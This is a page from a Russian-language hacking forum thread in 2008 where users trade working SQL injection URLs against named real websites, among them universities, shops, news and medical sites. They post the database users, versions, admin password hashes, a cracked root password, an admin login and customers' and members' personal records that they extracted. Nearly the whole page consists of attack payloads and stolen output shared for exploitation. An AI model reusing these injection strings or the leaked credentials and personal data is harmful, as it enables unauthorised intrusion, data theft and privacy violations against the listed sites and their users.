SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 247 of 798
  1. Saime

    Saime Member

    Joined:
    27 Feb 2008
    Messages:
    19
    Likes Received:
    11
    Reputations:
    -1
    und.edu

    user() = our@localhost
    version() = 5.0.44sp1-enterprise-gpl-log
    database() = our
     
    #4921 Saime, 28 Feb 2008
  2. Saime

    Saime Member

    Joined:
    27 Feb 2008
    Messages:
    19
    Likes Received:
    11
    Reputations:
    -1
    pride.uoregon.edu

    user() = pride@localhost
    version() = 5.0.32-Debian_7etch1-log
    database() = pride
     
    #4922 Saime, 28 Feb 2008
    1 person likes this.
  3. Saime

    Saime Member

    Joined:
    27 Feb 2008
    Messages:
    19
    Likes Received:
    11
    Reputations:
    -1
    hg.med.umich.edu

    user() = webby@localhost
    version() = 5.1.17-beta
    database() = cmsys
     
    #4923 Saime, 28 Feb 2008
  4. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    mysql5
     
    #4924 kair, 28 Feb 2008
  5. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    Ежедневная газета АНТИСПИД НАРКОСТОП
    http://noaids.ru/print_news.php?id=-852+union+select+1,2,version(),4,5,6,7,8,9,10,11,12/*

    user=samara63_noaids@localhost
    database=samara63_noaids
    version=5.0.45

    http://www.cci.gomel.by/dop/print_news.php?id=-420+union+select+1,2,3,4,5,database(),7,8,9,10,11,12/*

    user=btpp@localhost
    database=cci01
    varsion=4.0.18

    http://www.uprava.org/section.php?id=-34+union+select+1,DATABASE(),user(),4,5,6,7/*

    user [email protected]
    database uprava-org
    varsion 4.0.27


    http://www.zimaspb.ru/news.php?id_news=-19+union+select+1,user(),3,4,database(),6,version()/*


    http://www.a2k.org.ua/news.php?id=-31+union+select+1,2,3,4,User(),DataBase(),version(),8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,38/*
     
    #4925 neon_fx, 28 Feb 2008
    Last edited: 29 Feb 2008
  6. samarin

    samarin Elder - Старейшина

    Joined:
    24 Feb 2008
    Messages:
    136
    Likes Received:
    31
    Reputations:
    1
    Веломагазин

    http://rider.dn.ua/news.php?id=11+union+select+1,2,concat(username,0x3a,user_password),4,5+from+phpbb_users/*

    root:63669023999824a9197274768beb958d
     
    #4926 samarin, 28 Feb 2008
    Last edited: 29 Feb 2008
  7. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    Code:
    http://atitlan-online.com/index.php?option=com_notebook&task=viewNote&id=-1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12+from+ati_users/*
    http://atitlan-online.com/administrator/
    admin;admin
     
    #4927 it's my, 29 Feb 2008
    2 people like this.
  8. Saime

    Saime Member

    Joined:
    27 Feb 2008
    Messages:
    19
    Likes Received:
    11
    Reputations:
    -1
    research.ohiou.edu

    user() = [email protected]
    version() = 4.1.19-log
    database() = vpresearch
     
    #4928 Saime, 29 Feb 2008
  9. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    http://www.ifsociety.com/shop.php?id=99999+union+select+VERSION(),2,3,4,5,6 /*
    Версия: 4.1.20-log
    юзер: [email protected]
    база: ifsociety
     
    #4929 cash$$$, 29 Feb 2008
  10. Климент_Ворошилов

    Климент_Ворошилов Member

    Joined:
    8 Dec 2007
    Messages:
    21
    Likes Received:
    10
    Reputations:
    0
    _http://www.serbia-money.ru/ru/news.php?news=87
    _http://www.serbia-money.ru/ru/news.php?news=87%27
    _http://www.serbia-money.ru/ru/news.php?news=87+order+by+9/*
    _http://www.serbia-money.ru/ru/news.php?news=-87+union+select+1,2,3,4,5,6,7,8,9/*
    _http://www.serbia-money.ru/ru/news.php?news=-87+union+select+1,2,3,database(),user(),6,7,8,version()/*

    er.a_.serb
    serbia_admin@localhost
    5.0.45-community-log
     
    #4930 Климент_Ворошилов, 29 Feb 2008
  11. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    магазины
    ------------------
    _http://www.lakkk.com/lib.php?lib_id=-29+union+select+database(),version(),user(),4,5/*

    5.0.45-log - u90286_old
    [email protected]

    базы две u90286_old и u90286 доступ есть
    -------------------
    _http://www.gorshkov.ru/index.php?full=9999999+union+select+1,version(),3,user()/*&rand=21002

    4.0.24_Debian-10sarge1-log
    u664@localhost
    u664_2

    таблицы так и не подобрал
    --------------------
     
    #4931 Kakoytoxaker, 29 Feb 2008
  12. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    http://www.rtcmagazine.com/home/article.php?id=99999'+union+select+VERSION()/*

    версия: 4.1.20

    Юзер: [email protected]

    БАЗА : rtcgroup
    ===========================
    http://fullhousemagazine.co.uk/compdets.php?id=99999+union+select+1,2,VERSION(),4,5,6,7,8,9,10,11,12,13,14,15,16/*

    Мускул: 4.0.27-standard-log

    Юзер: [email protected]

    База: db205665539
     
    #4932 cash$$$, 29 Feb 2008
    1 person likes this.
  13. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    Самое вкусное:
    база таблица столбец
    serbia_serbia zakaz id
    serbia_serbia zakaz date_time
    serbia_serbia zakaz fio_d
    serbia_serbia zakaz tel_d
    serbia_serbia zakaz address_d
    serbia_serbia zakaz email_d
    serbia_serbia zakaz zakaz

    Пример:
    http://www.serbia-money.ru/ru/news.php?news=-87+union+select+1,2,3,4,concat_ws(0x3a,id,date_time,fio_d,tel_d,address_d,email_d,zakaz),6,7,8,9+from+serbia_serbia.zakaz+limit+1+offset+1/*

    2
    2008-02-04 15:55:28:
    vefv
    vfevf
    [email protected]
    [email protected]:p0001 - 1 динар - 1шт. (2000 руб.)
    Всего 1шт. на сумму 2000 руб
    //******************************************

    http://www.shopaware.com/product/product_detail.php?id=-134+union+select+1,2,3,version(),database(),user(),7,8,9,10,11/*

    4.0.27-standard-log 0
    [email protected]
    //*********************************

    http://www.jed-afrique.org/news.php?id_news=-11+union+select+1,user(),3,database(),5,6,7,8,9,10,11,12,13,14,15,16,version()/*

    [ 4.1.22-standard ]
    jed_root@localhost
    jed_jed

    //***********************************
    ТОЧНЫЙ ПРОГНОЗ ПОГОДЫ ДЛЯ ЛЮБОЙ ТОЧКИ УКРАИНЫ

    http://meteoprog.com.ua/news.php?command=more&id_news=-64+union+select+1,2,database(),user(),5,6/*

    4.1.22
    meteoprog
    meteoprog@localhost
    //**********************************

    Финансовая группа ИНТРАСТ

    http://www.intrast.ru/news.php?id_news=-69339+union+select+1,2,concat(user,char(58),password),4,5+from+mysql.user+limit+1/*

    login --> root
    password --> 6e83ef3f5ae34aa4 -->gznfxjr

    //************************************

    http://zapravkin.com.ua/news.php?id_news=-49+union+select+1,2,3,4,5,6,7,version(),user(),10,11,12,13,database()/*

    mandrey_zap@localhost
    mandrey_zap
    4.0.27-standard-log
     
    #4933 neon_fx, 29 Feb 2008
    Last edited: 1 Mar 2008
  14. Saime

    Saime Member

    Joined:
    27 Feb 2008
    Messages:
    19
    Likes Received:
    11
    Reputations:
    -1
    aspireusa.net

    user() = aspire@localhost
    version() = 4.1.22-log
    database() = aspire

    --------------

    elsemanario.net


    user() = [email protected]
    version() = 5.0.22
    database() = elsema_elsemanario_net_-_db
     
    #4934 Saime, 1 Mar 2008
  15. Saime

    Saime Member

    Joined:
    27 Feb 2008
    Messages:
    19
    Likes Received:
    11
    Reputations:
    -1
    viiphoto.com

    user() = [email protected]
    version() = 4.0.12-MAX-LOG
    database() = VIIPHOTO

    --------------

    swclassiccars.com

    user() = [email protected]
    version() = 4.0.27-max-log
    database() = swclassiccars

    --------------

    egotvonline.com

    user() = egotv_website@localhost
    version() = 4.1.22-standard
    database() = egotv_egotv

    --------------

    stormnigeria.com

    user() = stormnig_storm@localhost
    version() = 4.0.27-standard
    database() = stormnig_storm

    --------------

    sctflash.com

    user() = root@localhost
    version() = 4.1.20
    database() = sct
     
    #4935 Saime, 1 Mar 2008
    2 people like this.
  16. SIdoy

    SIdoy Member

    Joined:
    19 Sep 2007
    Messages:
    12
    Likes Received:
    6
    Reputations:
    0
    HTML:
    http://www.prom.kz/modules/biblio/card.php?id=1380%20and%200%20union%20select%201,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,version(),user(),database())--
    HTML:
    http://www.biomusic.ru/album.php?id=15819%20and%201=0%20union%20select%201,user(),Database(),4,5,6,7,user_pass,9,10,11,12,13%20from%20users%20limit%203--
    HTML:
    http://mp3.volpi.ru/view.php?id=3893%20and%201=0%20union%20select%201,concat(user,char(58),password),3,concat(user,char(58),password),5,4,7,8,9,10,11,12,13%20from%20mysql.user--
     
    #4936 SIdoy, 1 Mar 2008
    1 person likes this.
  17. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    привет всем!
    нужна помощь в выводе базы данных, через information_schema.tables у меня невышло
    получается вывести только USER(), DATABASE(), VERSION()
    http://www.manhattan-receivers.com/modules/articles/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
     
    #4937 -=megahertz=-, 1 Mar 2008
  18. Серенький

    Серенький Banned

    Joined:
    13 Apr 2007
    Messages:
    112
    Likes Received:
    145
    Reputations:
    83
    1. не там запостил.
    2. версия 4 -> information_schema в ней нету.
     
    #4938 Серенький, 2 Mar 2008
    1 person likes this.
  19. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    Видеоархив болельщиков ФК Спартак

    http://www.video-soccer.com/section.php?sec=-15+union+select+concat_ws(0x9a,user(),database(),version())/*

    [email protected]
    VIDEOSOB
    4.0.27-

    //**************************

    Белгородская торгово промышленная палата
    Выставочный комплекс "Белэкспоцентр"

    http://belexpocentr.ru/show.php?id=-89+union+select+1,2,3,4,5,concat_ws(char(47),user(),database(),version()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

    belexpocentr@localhost
    www_belexpocentr_ru
    5.0.44

    открыта база INFORMATION_SCHEMA
    //**************************

    Всеукраинская молодежная организация “Союз молоді регіонів України”.

    http://smru.com.ua/news.php?type=n&num=-2054+union+select+1,Concat_ws(char(58),last,first,otch,birthday,educ,inst,spec,work,post,region,raion,town,street,dom,kv,hphone,wphone,mphone,ser,num,kem,kogda),3,4,5+from+smrucom_smru.enter+limit+1+offset+0/*
    //***************************

    AMT&C - лидер Российского рынка магнитных материалов и технологий

    http://www.ndfeb.ru/news.php?act=news&num=-53+union+select+1,2,user(),database(),5,6,version()/*

    00146026@localhost
    db00146026
    4.1.21-log

    //**************************

    http://www.wellness-hall.ru/news.php?num=-4+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5/*

    [email protected]
    u39784
    5.0.45-log

    //************************

    http://www.keckobservatory.org/article.php?id=-46+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11/*

    root@localhost
    keck
    4.1.21

    //**********************
    Украинский готический портал

    http://gothic.kiev.ua/ukrrus/reviews/show.php?id=226'+and+1=-1+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,DataBase(),user(),16,17,18,19/*

    4.1.22-log
    gothicdb
    [email protected]


    p.s. Вот че я сегодня за ночь накопал
    Всем привет
     
    #4939 neon_fx, 2 Mar 2008
    Last edited: 2 Mar 2008
    4 people like this.
  20. CaNNabi$

    CaNNabi$ Elder - Старейшина

    Joined:
    21 Jan 2008
    Messages:
    62
    Likes Received:
    110
    Reputations:
    0
    Code:
    http://www.zycie.czest.pl/modules/show.php?id=0x35333927%20union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9/*
    zycie@localhost:zycie:5.0.33-log
    Code:
    http://www.sudguru.com/show.php?x=1&at=1&sn=0x3127%20union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10/*
    sudee_g@localhost:sudee_s:4.1.22-standard 6
    Code:
    http://medhavi.edu.np/show.php?sn=0x3127%20union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10/*
    medhavi_sunil@localhost:medhavi_sunil:4.1.22-standard
    Code:
    http://perplexus.info/show.php?pid=2343&cid=0x313733373327%20union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10/*
    www@localhost: perplexus:4.0.21-standard
    Code:
    http://linkdump.be/index.php?y=2004&m=0x3627%20union+select+concat_ws(0x3a,user(),database(),version()),2,3,4,5,6,7,8/*
    kwaadblo_dumpmas@localhost:kwaadblo_linkdump:4.1.22-standard
    Code:
    http://www.cuplfil.com/english/show.php?ArticleID=0x313827%20union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,user(),database(),version()),10,11,12,13,14,15,16,17,18/*
    root@localhost:zhengfa_en:4.0.14-max-nt
    Code:
    http://www.ihrc.org.uk/show.php?id=0x3137353427%20union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13/*
    [email protected]:db120565932:4.0.27-standard-log
    Code:
    http://www.flugzeugbilder.de/show.php?id=0x31323332333827%20union+select+1,2,3,4,5,concat_ws(0x3a,user(),database(),version()),7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
    pp@localhost:fb:4.0.21-Max-log
    Code:
    http://www.newmedicine.pl/show.php?ktory=0x343027%20union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12,13/*
    515707HQWV038@www4:515707HQWV038:4.1.22-standard-log
    Code:
    http://www.pnmedycznych.pl/show.php?ktory=0x393227%20union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
    515707HQWV038@www4:515707HQWV038:4.1.22-standard-log
    Code:
    http://www.nowapediatria.pl/show.php?ktory=0x3127%20union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14/*
    515707HQWV038@www4:515707HQWV038:4.1.22-standard-log
    Code:
    http://www.nowamedycyna.pl/show.php?ktory=0x3127%20union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14/*
    515707HQWV038@www4:515707HQWV038:4.1.22-standard-log
    Ну вот так вот :p
     
    #4940 CaNNabi$, 2 Mar 2008
    1 person likes this.
(You must log in or sign up to post here.)
Page 247 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.